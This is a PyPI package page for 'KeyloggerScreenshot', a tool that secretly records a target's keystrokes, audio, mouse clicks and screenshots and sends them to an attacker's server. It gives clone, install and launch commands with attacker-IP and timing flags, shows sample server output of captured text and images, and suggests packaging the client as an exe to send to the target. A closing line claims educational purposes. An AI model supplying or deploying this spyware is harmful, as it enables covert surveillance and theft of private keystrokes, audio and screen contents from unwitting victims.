Exporting Keylogger files, recording audio, recording mouse click information and screenshots of the target. For more information check out my website:https://pypi.org/project/KeyloggerScreenshot/ and my github: https://github.com/Facileee/KeyloggerScreenshot
Project description
KeyloggerScreenshot
Created by: Fawaz Bashiru
KeyloggerScreenshot allows the attacker to get all the information the target was typing and taking screenshot of specific minutes which is being calculated in the script and all the audio of the target was speaking will be stored where your server is located. Follow the instructions to build your own server in "KeyloggerScreenshot"
check out my pypi page: https://pypi.org/project/KeyloggerScreenshot/
If you are a Linux user then write. I would suggest to run KeyloggerScreenshot on Kali linux. To change root:
sudo -i
In your terminal
To clone KeyloggerScreenshot simply type:
git clone https://github.com/Facileee/KeyloggerScreenshot.git
In your terminal
Continue by writing:
cd KeyloggerScreenshot
Install all requirements:
pip install -r requirements.txt
If there is any problem with the server than check out the other method on:
https://pypi.org/project/KeyloggerScreenshot/
HOW DOES KeyloggerScreenshot WORK?
Write your IP-Address in KLS_start.py
python KLS_start.py -aip 127.0.0.1
To create a file:
python KLS_start.py -aip 127.0.0.1 -cf
You can also specify the filename simply write the filename after -cf
python KLS_start.py -aip 127.0.0.1 -cf test.py
To create a server with the same ports as the target
python KLS_start.py -aip 127.0.0.1 -cf -ds
To see all the ports:
python KLS_start.py -aip 127.0.0.1 -cf -ds -p
The standard filename is target.py
You can also specify the seconds which is going to be run at the target
python KLS_start.py -aip 127.0.0.1 -cf test.py -s 120
The default seconds is 60
After running the code you can send the created filename
After the specified seconds your directory will look like this:
Output
"""
Cyan: ServerPhotos
Blue: ServerKeylogger
Green: ServerListener
White: Timer
Waiting for connection....Waiting for connection...
Waiting for connection...
Connection has been established ![img_2.png](img_2.png)with the ip 127.0.0.1
Time left: 02:59
Connection has been established with ('127.0.0.1', 63822)
Time left: 00:01Connection has been established with ('127.0.0.1', 63842)
Successful connection for 3 minutes and 20 seconds
"Audio of target.wav" has been saved to your directory
Connection has been established with ('127.0.0.1', 63843)
Text of target: Hello this is a test 123. 123 Nice it works have fun guys
1 Image have been saved to your working directory
Waiting for connection...
Connection has been established with ('127.0.0.1', 63824)
2 Images has been saved to your working directory
Waiting for connection...
Connection has been established with ('127.0.0.1', 63825)
3 Images has been saved to your working directory
Waiting for connection...
Connection has been established with ('127.0.0.1', 63829)
4 Images has been saved to your working directory
Waiting for connection...
Connection has been established with ('127.0.0.1', 63841)
5 Images has been saved to your working directory
Waiting for connection...
"""
Additional
-
You can send "target.py" as an exe file to the target with "auto-py-to-exe"
-
KeyloggerScreenshot is very easy to use.
-
The servers can be used on any OS. The client should be a Windows OS
-
DO NOT USE THIS TO ATTACK SOMEONE FOREIGN. I BUILD IT FOR EDUCATIONAL PURPOSES.
Change Log
0.0.1 (14/10/2022)
- First Release
0.0.2 (15/10/2022)
- Bug Fixes
0.0.3 (15/10/2022)
- Bug Fixes
0.0.4 (17/10/2022)
- New features (Audio Recorder from target, All Servers in one file)
- Bug Fixes
- Detailed review of the code
0.0.5 (18/10/2022)
- Better audio connection
- Bug Fixes
0.0.6 (19/10/2022)
- New Timer Class
- Better Output on Terminal
- More efficient connection
- More Ports and IP's
0.0.6.1 (19/10/2022)
- Bug Fixes
0.0.7 (24/10/2022)
- Better Description
0.1.0 (30/10/2022)
- Bug Fixes
- pyscreeze Error fixed
- Keyboard Interruption (server will be destroyed after Keyboard Interruption from the user)
- Keylogger data even after Keyboard Interruption
- Much better Audio connection
- Better Audio Files
0.1.1 (30/10/2022)
- Image fix on website
0.1.2 (07/11/2022)
- Bug Fixes
- Big Update 12.11.2022
0.2.2 (04/02/2023)
- Audio of target got fixed
- Mouse log in fixed
- All Mouse Logs will be saved in "mouseLogInfo.txt"
- new function called "check_double" which detects if there are more files
0.2.3 (10/02/2023)
- Multiple Mouse Log Text Files at ones
- New Graphical User Interface (GUI)
- New simulation feature (only on linux)
- Capslock detection
- Better documentation
0.2.3.2 (11/02/2023)
- Multiple Image Files at ones
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Hashes for KeyloggerScreenshot-0.2.3.2.tar.gz
Algorithm | Hash digest | |
---|---|---|
SHA256 | 8e051aaad04468ab1f95c652d47bde7645308fee8364fd245eae1349726629a7 |
|
MD5 | c4b5194e8eef696721bf646d8f551731 |
|
BLAKE2b-256 | 00183dcd12b459108507f6bac55fb521a9ebf94dd16bc725ddddc06baf3d2799 |